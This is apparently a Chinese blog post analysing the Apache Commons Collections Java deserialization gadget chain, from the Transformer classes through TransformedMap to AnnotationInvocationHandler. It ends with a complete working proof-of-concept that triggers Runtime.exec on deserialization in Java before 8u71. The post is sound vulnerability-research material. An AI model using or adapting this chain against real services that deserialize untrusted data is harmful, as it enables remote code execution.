初探Commons-Collections反序列化链

0x01 Apache Commons Collections

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。

要分析这个反序列化,首先要从Transformer类开始介绍。

Transformer

org.apache.commons.collections.Transformer是一个接口,从代码上看它就只有一个待实现的方法。

public interface Transformer {
    Object transform(Object var1);
}

接着介绍几个关键的类:ConstantTransformer、InvokerTransformer、ChainedTransformer

这三个类都是Transformer接口的实现类。

ConstantTransformer

直接看源码:

public ConstantTransformer(Object constantToReturn) {    
this.iConstant = constantToReturn;}

简单来说,这个类的作用就是你输入什么类,它就返回什么类型。

InvokerTransformer

看到invoke这词就很熟了,查看下代码,发现可以通过反射创建一个对象实例

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

且methodName和paramTypes参数可控,也就是说我们可以通过这个类反射实例化调用其他类其他方法,InvokerTransformer也就是我们这个序列化链的关键类。

举个例子:

我们来分析下这段测试代码,首先,我们的目的是要通过InvokerTransformer来反射Runtime.class类的getMethod方法,也就是说,要反射的方法名methodName为getMethod,而getMethod方法的参数类型为string.class和class[].class, 所以paramTypes就为new Class[]{ String.class,Class[].class},接着,既然然参数有两个,string.class对应的为我们要调用的getRuntime方法,那么class[].class对应的参数为啥呢?直接为null就可以了,用new Class[0]也可以,其实用new Class[0]还更好,还可以防止在for循环时抛出异常。

运行查看下结果:

可以看到这段代码已经成功反射出了Runtime.getRuntime()方法。

ChainedTransformer

接下来是ChainedTransformer类,我们直接来看代码比较容易理解:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

相当于把参数中的每一个Transform类按顺序循环调用了一遍transform,且transform方法传递的参数为上个transform返回的对象。

0x02 构造Transform链

通过上面的介绍,下面就可以直接看这段代码了

Transformer[] transformers = new Transformer[] {
 	new ConstantTransformer(Runtime.class),
 	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
 	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
 	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

首先,先通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,得到方法后还要继续通过反射执行invoke才能去调用getRuntime方法,这样才能得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

最后再把已经构造的好的Transform组合或者说Transform链,作为ChainedTransformer构造函数的参数,然后找条件执行到ChainedTransformer的transform方法,前一个transform方法返回的对象作为下个transform方法的参数,这就很完美,然后让它依次去循环调用各个Transform类的transform方法来执行我们想要调用的方法,从而来完成命令执行。这样的构造细细品味很有意思,果然反射在java中是无比强大的。

至于这里为什么不能直接用Runtime.getRuntime()来得到Runtime对象呢,比如这样写:

Transformer[] transformers = new Transformer[]{
 	new ConstantTransformer(Runtime.getRuntime()),
 	new InvokerTransformer("exec", new Class[]{String.class},
	new Object[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

这样看起来是不是省事很多?但这样在反序列化中是不可行的,原因是,java中不是所有的对象都支持反序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而这里的Runtime类是没有实现 java.io.Serializable 接口的,所以也就只能通过反射来完成。

回到上面,当然这些都要建立在能够执行ChainedTransformer的transform方法的前提下,所以要怎么触发执行这个transform方法呢?

看到TransformedMap这个类,它有个transformValue方法

也就是说,如果我们能控制valueTransformer为我们构造的ChainedTransformer对象,那我们上面的问题就迎刃而解了。我们再去看哪里调用了这个valueTransformer方法,

同样在TransformedMap类中,put方法就调用了valueTransformer方法,而且value的值是我们完全可控的,简直完美。

Transformer[] transformers = new Transformer[] {
 	new ConstantTransformer(Runtime.class),
 	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
 	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
 	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");

TransformedMap的decorate方法相当于把我们构造的transformers链带入修饰,并返回了一个新的TransformedMap对象,简单看下这个方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

最后再调用put方法,运行后成功弹出了计算器:

0x03 寻找可利用的反序列化类

到了我们的最终问题,如何生成一个可用的反序列化POC呢?上面的put方法我们是手工执行来让它触发的,所以在实际反序列化的时候,我们要找到readObject方法里有类似put这样的操作方法,让它在反序列的时候触发就可以了。

在8u71之前,有这样的一个类:sun.reflect.annotation.AnnotationInvocationHandler

直接先看它的readObject方法:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

看到memberValue成员变量是map对象,而且达到一定条件后就能执行到memberValue.setValue(),也就是说,如果把我们之前构造的transform链包装成一个Map对象后,将它作为AnnotationInvocationHandler反序列后的memberValue,这样在它readObject反序列化的时候,触发memberValue.setValue(),然后再触发TransformedMap里的transform(),最后实现命令执行。

最终的POC:

	Transformer[] transformers = new Transformer[] {
 	new ConstantTransformer(Runtime.class),
 	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
 	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
 	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
};
	Transformer transformerChain = new ChainedTransformer(transformers);
	Map innerMap = new HashMap();
 	innerMap.put("value", "xxxx");
 	Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
 	Class clazz =
	Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
	Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
 	construct.setAccessible(true);
 	InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
 	
	ByteArrayOutputStream barr = new ByteArrayOutputStream();
 	ObjectOutputStream oos = new ObjectOutputStream(barr);
 	oos.writeObject(handler);
 	oos.close();
 	System.out.println(barr);
 	ObjectInputStream ois = new ObjectInputStream(new
	ByteArrayInputStream(barr.toByteArray()));
 	Object o = (Object)ois.readObject();
 }

0x04 总结

文章的重点还是放在了transform链的调试分析上,实际上最后的poc还是有很大局限性,只在java 8u71前可用,以及poc的一些细节都没仔细展开去写出来。

另外CommonsCollections中的反序列化链除了使用TransformedMap去利用之外,还能使用Lazmap以及动态代理的方式去利用,在ysoserial中的代码就可以找到,还有能利用基于PriorityQueue类的序列化等等的一系列思路,这些思路的细节还没去调试分析,下次再继续做个总结。

乐观的悲观主义者。
原文地址:https://www.cnblogs.com/v1ntlyn/p/13550020.html